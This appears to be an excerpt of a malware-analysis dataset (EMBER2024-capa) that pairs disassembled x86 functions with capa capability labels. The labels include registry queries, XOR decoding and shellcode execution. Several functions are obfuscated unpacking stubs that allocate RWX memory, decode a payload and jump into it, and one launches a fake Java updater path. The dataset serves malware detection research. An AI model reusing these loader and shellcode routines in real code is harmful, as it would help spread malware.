joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e05b
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2f9c]
mov eax, 0x301c
call fcn.004105e0
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x2f98], eax
mov eax, dword [ebp + 0x2fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor eax, eax
mov edi, 0xffe
xor esi, esi
push edi
mov word [ebp + 0x1f98], ax
lea eax, [ebp + 0x1f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.00410610
xor eax, eax
push edi
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.00410610
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
push 0x4301c0
mov ebx, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e1c3
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push esi
jmp 0x40e1b2
lea eax, [ebp + 0x1f98]
push eax
push 0x430218
push 0x4301b4
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.00419645
add esp, 0x14
lea eax, [ebp - 0x78]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40e19a
push edi
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push str.RuntimeLib
push dword [ebp - 0x78]
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40e19a
cmp dword [ebp - 0x6c], esi
jbe 0x40e19a
mov eax, dword [ebp + 0x2fa8]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
lea eax, [ebp - 0x80]
push eax
push esi
push 0x430288
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x40e0fa
mov eax, dword [ebp - 0x74]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x40e1c9
sub eax, edx
sar eax, 1
xor ecx, ecx
cmp ecx, eax
mov ecx, dword [ebp + 0x2f98]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
neg eax
pop ebx
call fcn.0040ffe6
add ebp, 0x2f9c
leave
ret
Function at 0x40e9b9
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40ea14
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.0040ffe6
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.0040f362
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00419645
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.0040f585
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00419645
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00410610
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x40eaae
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x40eabd
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.0040f604
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.0040f30c
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x40eaee
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.0040b3a3
add esp, 0x28
test eax, eax
jne 0x40eb37
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.0040eea9
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040ec7c
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.0040ec7c
mov eax, edi
pop edi
pop ebx
jmp 0x40e9fe
mov edi, ebx
jmp 0x40eb12

Function at 0x40ffe6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43cddc]
jne 0x40fff0
repz ret
jmp fcn.00417613
Function at 0x10008ff7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10009006
pop dword [ebp - 0x1c]
mov eax, 0x172ec26b
sub eax, 0x72e3265
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x4e1e6294
sub dword [ebp - 0x2c], 0xffcc1d49
mov dword [ebp - 0x28], 0xbacd598c
add dword [ebp - 0x28], 0x7765f2b9
mov dword [ebp - 0x24], 0x35ee7f76
add dword [ebp - 0x24], 0x165dc4b8
mov dword [ebp - 0x20], 0xf2b1c1c4
add dword [ebp - 0x20], 0xd4e3e3c
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xb13dcae2
add eax, 0x5ec2e5be
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x5e3c522
sub dword [ebp - 0x2c], 0x91715bcc
mov dword [ebp - 0x28], 0x428e61ff
add dword [ebp - 0x28], 0xfeddff76
mov dword [ebp - 0x24], 0x84d13f81
add dword [ebp - 0x24], 0xde9e2ceb
mov dword [ebp - 0x20], 0x40e8d7a5
sub dword [ebp - 0x20], 0x40e8d7a5
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x8b201e52
sub eax, 0x7b1f6dba
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3df43
push 0
call eax
mov ecx, 0x61db
xor esi, esi
add esi, eax
mov edi, 0x10047800
add edi, dword [ebp - 0x1c]
mov ebx, 0x3a9e8c87
mov edx, dword [edi]
sub dword [ebp - 4], 0x5b710bd1
add edx, ebx
sub dword [ebp - 0x14], edi
mov dword [esi], edx
xor dword [ebp - 4], 0xdcf8c2b7
add esi, 0xa342e647
add esi, 0x5cbd19bd
add edi, 0x2aee8f33
sub edi, 0x2aee8f2f
loop 0x10009118
add eax, 0xa442c844
sub eax, 0xa4414e05
mov ebx, eax
add eax, 0x20ec2569
add eax, 0xdf13da9c
mov ecx, 0x5637e2e2
sub ecx, 0x4637e2e2
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x1111e046
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
sub eax, esi
mov dword [ebp - 4], esi
je 0x1111e0fb
dec eax
je 0x1111e0c9
dec eax
je 0x1111e09b
dec eax
jne 0x1111e137
push dword [ebp + 0x10]
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push 3
push dword [ebp + 8]
push eax
push 0x1112d050
call sub.MSVBVM60.DLL_UserDllMain
test eax, eax
je 0x1111e137
push dword [ebp + 8]
call fcn.1111e13e
call fcn.1111e15f
jmp 0x1111e134
push dword [ebp + 0x10]
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push 2
push dword [ebp + 8]
push eax
push 0x1112d050
call sub.MSVBVM60.DLL_UserDllMain
test eax, eax
je 0x1111e137
push esi
push dword [ebp + 8]
call fcn.1111e184
mov si, ax
and esi, 1
jmp 0x1111e137
push dword [ebp + 0x10]
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push 1
push dword [ebp + 8]
push eax
push 0x1112d050
call sub.MSVBVM60.DLL_UserDllMain
test eax, eax
je 0x1111e137
call sub.KERNEL32.DLL_TlsAlloc
cmp eax, 0xffff
mov dword [0x1112d048], eax
je 0x1111e137
push 0xffffffffffffffff
jmp 0x1111e0b9
call fcn.1111e2e6
push dword [ebp + 0x10]
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push esi
push dword [ebp + 8]
push eax
push 0x1112d050
call sub.MSVBVM60.DLL_UserDllMain
call fcn.1111e15f
push dword [0x1112d048]
call sub.KERNEL32.DLL_TlsFree
mov dword [0x1112d048], esi
mov dword [0x1112d04c], esi
push 1
pop esi
mov eax, esi
pop esi
leave
ret 0xc
Function at 0x1111e184
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x11001226
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x110011d0
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push dword [0x1112d048]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], edi
call sub.KERNEL32.DLL_TlsGetValue
cmp eax, edi
jne 0x1111e2bc
push edi
call sub.OLE32.DLL_CoInitialize
cmp dword [0x1112d04c], edi
jne 0x1111e207
push dword [ebp + 8]
call fcn.1111e341
cmp eax, edi
mov dword [0x1112d04c], eax
je 0x1111e2c0
call fcn.1111e54b
call fcn.1111e664
mov esi, eax
push esi
push dword [0x1112d048]
call sub.KERNEL32.DLL_TlsSetValue
cmp esi, edi
je 0x1111e2c0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x2c], 0xc0
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
lea eax, [ebp + 8]
push edi
push eax
mov dword [ebp - 0x28], 0x46000000
mov dword [ebp - 0x44], edi
call sub.MSVBVM60.DLL_VBDllGetClassObject
cmp word [ebp + 0xc], di
je 0x1111e2bc
cmp dword [0x1112d4dc], edi
jne 0x1111e267
push 0x1112d4dc
push 0x1100247c
call sub.MSVBVM60.DLL___vbaNew2
mov esi, dword [0x1112d4dc]
lea ecx, [ebp - 0x40]
push ecx
push esi
mov eax, dword [esi]
call dword [eax + 0x14]
cmp eax, edi
fnclex
jge 0x1111e28b
push 0x14
push 0x1100246c
push esi
push eax
call sub.MSVBVM60.DLL___vbaHresultCheckObj
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x48]
push edx
push eax
mov ecx, dword [eax]
mov esi, eax
call dword [ecx + 0x128]
cmp eax, edi
fnclex
jge 0x1111e2b4
push 0x128
push 0x1100248c
push esi
push eax
call sub.MSVBVM60.DLL___vbaHresultCheckObj
lea ecx, [ebp - 0x40]
call sub.MSVBVM60.DLL___vbaFreeObj
or dword [ebp - 0x38], 0xffffffff
push 0x1111e2d1
jmp 0x1111e2d0
ret

Function at 0x1111e2e6
Capabilities:
Execute shellcode via indirect call
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
and byte [ebp - 1], 0
push esi
push dword [0x1112d048]
call sub.KERNEL32.DLL_TlsGetValue
mov esi, eax
test esi, esi
je 0x1111e339
lea eax, [ebp - 1]
push eax
mov eax, esi
add eax, 0x3c
jo 0x1111e33c
push eax
call sub.MSVBVM60.DLL_GetMem1
mov al, byte [ebp - 1]
or al, 1
movzx cx, al
call sub.MSVBVM60.DLL___vbaUI1I2
mov byte [ebp - 1], al
mov eax, esi
add eax, 0x3c
jo 0x1111e33c
push eax
lea eax, [ebp - 1]
push eax
call sub.MSVBVM60.DLL_GetMem1
push esi
call sub.MSVBVM60.DLL_VBDllCanUnloadNow
pop esi
leave
ret
call sub.MSVBVM60.DLL___vbaErrorOverflow
Function at 0x1111e341
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x11001226
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x110011e0
push 6
xor eax, eax
pop ecx
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
mov eax, edi
xor ebx, ebx
add eax, 0x3c
jo 0x1111e546
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x50], ebx
call sub.MSVBVM60.DLL_GetMem4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0x80
jo 0x1111e546
add eax, edi
jo 0x1111e546
push eax
call sub.MSVBVM60.DLL_GetMem4
mov eax, dword [ebp - 0x14]
mov esi, eax
add esi, edi
jo 0x1111e546
sub esi, 4
jo 0x1111e546
add eax, 0x10
lea ecx, [ebp - 0x2c]
jo 0x1111e546
add eax, edi
push ecx
jo 0x1111e546
push eax
call sub.MSVBVM60.DLL_GetMem4
cmp dword [ebp - 0x2c], ebx
jle 0x1111e3fb
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
add eax, 0x14
jo 0x1111e546
cmp dword [ebp - 0x2c], 0
mov dword [ebp - 0x14], eax
jne 0x1111e3d8
lea eax, [ebp - 0x2c]
push eax
mov eax, ebx
add eax, edi
jo 0x1111e546
push eax
call sub.MSVBVM60.DLL_GetMem4
add ebx, 4
jo 0x1111e546
cmp dword [ebp - 0x2c], 0
jne 0x1111e410
add ebx, edi
jo 0x1111e546
mov edi, ebx
cmp esi, edi
mov dword [ebp - 0x24], edi
jl 0x1111e515
push 1
pop ebx
mov ecx, ebx
mov dword [ebp - 0x40], ebx
mov word [ebp - 0x44], bx
call sub.MSVBVM60.DLL___vbaI2I4
mov word [ebp - 0x42], ax
mov eax, esi
sub eax, edi
mov dword [ebp - 0x38], edi
jo 0x1111e546
add eax, 5
jo 0x1111e546
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVBVM60.DLL_VarPtr
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x18]
push eax
call sub.MSVBVM60.DLL___vbaAryMove
mov edi, dword [ebp - 0x34]
sub edi, 5
jo 0x1111e546
and dword [ebp - 0x28], 0
cmp dword [ebp - 0x28], edi
jg 0x1111e515
push dword [ebp - 0x28]
push dword [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaDerefAry1
cmp byte [eax], 0x68
jne 0x1111e502
push dword [ebp - 0x18]
lea eax, [ebp - 0x4c]
push eax
call sub.MSVBVM60.DLL___vbaAryLock
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x28]
add eax, ebx
jo 0x1111e546
push eax
push dword [ebp - 0x4c]
call sub.MSVBVM60.DLL___vbaDerefAry1
push eax
call sub.MSVBVM60.DLL_GetMem4
lea eax, [ebp - 0x4c]
push eax
call sub.MSVBVM60.DLL___vbaAryUnlock
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x24]
jl 0x1111e502
cmp eax, esi
jge 0x1111e502
lea ecx, [ebp - 0x1c]
push ecx
push eax
call sub.MSVBVM60.DLL_GetMem4
cmp dword [ebp - 0x1c], 0x21354256
je 0x1111e50f
push 1
pop eax
add eax, dword [ebp - 0x28]
jo 0x1111e546
mov dword [ebp - 0x28], eax
jmp 0x1111e49f
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
push 0x1111e532
jmp 0x1111e526
lea eax, [ebp - 0x18]
push eax
push 0
call sub.MSVBVM60.DLL___vbaAryDestruct
ret
call sub.MSVBVM60.DLL___vbaErrorOverflow
Function at 0x1111e54b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0x10]
push esi
push eax
push 0x40
push 0x64
xor esi, esi
push dword [0x1112d04c]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call sub.KERNEL32.DLL_VirtualProtect
mov eax, dword [0x1112d04c]
mov dword [ebp - 8], esi
add eax, 0x2c
jo 0x1111e65f
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 8]
push eax
call sub.MSVBVM60.DLL_GetMem4
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push dword [ebp - 0x10]
push 0x64
push dword [0x1112d04c]
call sub.KERNEL32.DLL_VirtualProtect
lea eax, [ebp - 4]
push eax
mov eax, dword [0x1112d04c]
add eax, 0x4c
jo 0x1111e65f
push eax
call sub.MSVBVM60.DLL_GetMem4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [0x1112d04c]
add eax, 0x44
jo 0x1111e65f
push eax
call sub.MSVBVM60.DLL_GetMem2
cmp dword [ebp - 0x14], esi
jle 0x1111e65c
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x18]
push ecx
push eax
call sub.MSVBVM60.DLL_GetMem4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
add eax, 0x28
jo 0x1111e65f
push eax
call sub.MSVBVM60.DLL_GetMem4
test byte [ebp - 0xc], 0x10
je 0x1111e642
and dword [ebp - 0xc], 0xffffffef
lea eax, [ebp - 0x10]
push eax
push 0x40
push 4
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualProtect
mov eax, dword [ebp - 4]
add eax, 0x28
jo 0x1111e65f
push eax
lea eax, [ebp - 0xc]
push eax
call sub.MSVBVM60.DLL_GetMem4
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push dword [ebp - 0x10]
push 4
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualProtect
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
sub ecx, 1
jo 0x1111e65f
add eax, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
jo 0x1111e65f
cmp ecx, esi
mov dword [ebp - 4], eax
jg 0x1111e5e6
pop esi
leave
ret
call sub.MSVBVM60.DLL___vbaErrorOverflow
Function at 0x100433a0
Capabilities:
Clear file content

Disassembly:
mov eax, 0x500c
call fcn.100497b0
mov eax, dword [0x100542d0]
push ebx
push ebp
mov dword [esp + 0x5010], eax
xor eax, eax
push edi
mov edi, dword [esp + 0x501c]
cmp edi, 0xffffffff
sete al
xor ebx, ebx
cmp edi, 0xffffffff
mov dword [esp + 0x10], eax
je 0x100433e0
push ebx
push ebx
push edi
call fcn.10039b20
add esp, 0xc
jmp 0x100433f2
mov ecx, dword [esp + 0x5024]
push ecx
call fcn.10039990
add esp, 4
mov edi, eax
mov eax, dword [esp + 0x5028]
cmp eax, ebx
je 0x10043416
cmp byte [eax], bl
je 0x10043416
push eax
push edi
call fcn.10039ae0
push 0x1004f818
push edi
call fcn.10039ae0
add esp, 0x10
mov edx, dword [esp + 0x5020]
mov eax, dword [edx + 0xc]
xor ebp, ebp
cmp eax, ebx
jle 0x1004351b
push esi
jmp 0x10043430
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x5028]
push 0x1000
lea ecx, [esp + 0x1020]
push ecx
push ebx
push 0x1000
lea edx, [esp + 0x302c]
push edx
push ebp
push eax
mov word [esp + 0x1038], bx
mov dword [esp + 0x30], ebx
call fcn.10042e90
movzx ecx, word [esp + 0x30]
add esp, 0x20
mov word [esp + ecx*2 + 0x1018], bx
cmp word [esp + 0x1018], bx
je 0x1004349a
lea edx, [esp + 0x1018]
push edx
call fcn.100499e9
lea edx, [esp + 0x101c]
jmp 0x100434ae
lea eax, [esp + 0x3018]
push eax
call fcn.100499e9
lea edx, [esp + 0x301c]
add esp, 4
push ebx
push ebx
inc eax
push eax
lea ecx, [esp + 0x24]
push ecx
push eax
push edx
push ebx
push 0x4e4
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov esi, eax
cmp esi, ebx
jne 0x100434d4
call dword [sym.imp.kernel32.dll_GetLastError]
movzx eax, si
mov byte [esp + eax + 0x18], bl
lea eax, [esp + 0x18]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100434e2
sub eax, edx
push eax
lea ecx, [esp + 0x1c]
push ecx
push edi
call fcn.10039ab0
push 2
push 0x1004f818
push edi
call fcn.10039ab0
mov edx, dword [esp + 0x503c]
mov eax, dword [edx + 0xc]
add esp, 0x18
inc ebp
cmp ebp, eax
jl 0x10043430
pop esi
push edi
call dword [sym.imp.kernel32.dll_SetEndOfFile]
cmp dword [esp + 0x10], ebx
je 0x10043531
push edi
call fcn.10039a60
add esp, 4
mov ecx, dword [esp + 0x5014]
pop edi
pop ebp
mov eax, 1
pop ebx
call fcn.10049461
add esp, 0x500c
ret

Function at 0x10047a30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10047a3f
pop dword [ebp - 0x4c]
mov eax, 0xa274e7e0
add eax, 0x6d8f925f
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x371dc
push 0
mov eax, 0xdf0fd67d
add eax, 0x30f51a93
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x6a7641c1
sub ecx, 0x6a75fe23
xor edx, edx
add edx, eax
mov esi, 0x1f3f8be6
sub esi, 0xf390be6
add esi, dword [ebp - 0x4c]
mov ebx, 0x38752bc8
mov dword [ebp - 0x40], 0x4407f5ba
mov edi, dword [esi]
sub dword [ebp - 0xc], 0x3968456d
xor edi, ebx
mov dword [edx], edi
xor dword [ebp - 0x30], 0x9471c38b
add edx, 0xa8d1fd3c
sub edx, 0xa8d1fd38
add esi, 0x55c55453
add esi, 0xaa3aabb1
loop 0x10047a9a
add eax, 0x373a9ad3
sub eax, 0x37399988
xor ebx, ebx
add ebx, eax
add eax, 0x9bf19379
add eax, 0x640e6c8c
mov ecx, 0xd2aeb30c
sub ecx, 0xc2aeb30c
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x1004b158
Capabilities:
Terminate process

Disassembly:
push 8
push 0x100504e0
call fcn.1004ab88
push 8
call fcn.10047a30
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x10056f34], esi
jne 0x1004b18c
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov dword [0x10056f30], esi
mov al, byte [ebp + 0x10]
mov byte [0x10056f2c], al
cmp dword [ebp + 0xc], edi
jne 0x1004b1d6
cmp dword [0x100613e8], edi
je 0x1004b1c6
mov eax, dword [0x100613e4]
sub eax, 4
mov dword [0x100613e4], eax
cmp eax, dword [0x100613e8]
jb 0x1004b1c6
mov eax, dword [eax]
cmp eax, edi
je 0x1004b1a7
call eax
jmp 0x1004b1a7
push 0x10052020
mov eax, 0x1005201c
call fcn.1004b0d6
pop ecx
push 0x10052028
mov eax, 0x10052024
call fcn.1004b0d6
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x1004b207
cmp dword [ebp + 0x10], edi
jne 0x1004b215
mov dword [0x10056f34], esi
push dword [ebp + 8]
call fcn.1004b094
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x1004b214
push 8
call fcn.10047a30
pop ecx
ret
call fcn.1004abc3
ret

Function at 0x1004bc99
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x100542d0]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x100546b0]
je 0x1004bcce
inc eax
cmp eax, 0x13
jb 0x1004bcbf
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x100546b0]
jne 0x1004bdf4
mov eax, dword [0x10056e74]
cmp eax, 1
je 0x1004bdcc
cmp eax, edx
jne 0x1004bcfe
cmp dword [0x10056e78], 1
je 0x1004bdcc
cmp ecx, 0xfc
je 0x1004bdf4
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1004bd34
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.1004c6e0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.1004ceb0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1004bd68
mov eax, edi
push eax
call fcn.1004ceb0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x1004fde4
push edi
call fcn.1004c830
add esp, 0x10
push edi
call fcn.1004ceb0
push dword [esi + 0x100546b4]
mov ebx, eax
call fcn.1004ceb0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.100497b0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.1004c6e0
push edi
push ebx
call fcn.1004c6f0
push 0x1004fde0
push ebx
call fcn.1004c6f0
push dword [esi + 0x100546b4]
push ebx
call fcn.1004c6f0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.10047a30
add esp, 0x2c
jmp 0x1004bdf4
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x100546b4]
push dword [esi]
call fcn.1004ceb0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.10049461
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x10008fff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1000900e
pop dword [ebp - 0x10]
mov eax, 0xa2496df3
add eax, 0x6db7221b
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x8b98c00d
sub dword [ebp - 0x20], 0x3d467ac2
mov dword [ebp - 0x1c], 0x97fadded
add dword [ebp - 0x1c], 0x9a386e58
mov dword [ebp - 0x18], 0x3699ca43
sub dword [ebp - 0x18], 0xea4d8615
mov dword [ebp - 0x14], 0x3252745f
add dword [ebp - 0x14], 0xcdad8ba1
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x6aab6a9
add dword [ebp - 0x20], 0x6dc7b2ad
mov dword [ebp - 0x1c], 0x992e115c
sub dword [ebp - 0x1c], 0x57c1afe7
mov dword [ebp - 0x18], 0x8fb4ff77
add dword [ebp - 0x18], 0xd3ba6cf5
mov dword [ebp - 0x14], 0xa0b5fe27
add dword [ebp - 0x14], 0x5f4a01d9
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x11f48d00
add eax, 0xfe0c1308
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x33a92
push 0
call eax
mov ecx, 0x3c80
mov edx, eax
mov edi, 0x981a9e87
sub edi, 0x8819a687
add edi, dword [ebp - 0x10]
mov esi, 0x502fc828
sub esi, 0x787aa8ad
xor dword [ebp - 4], edx
mov ebx, dword [edi]
mov dword [ebp - 4], 0xd356391d
sub ebx, esi
sub dword [ebp - 4], ebx
mov dword [edx], ebx
xor dword [ebp - 0xc], 0x7604ece9
add edx, 4
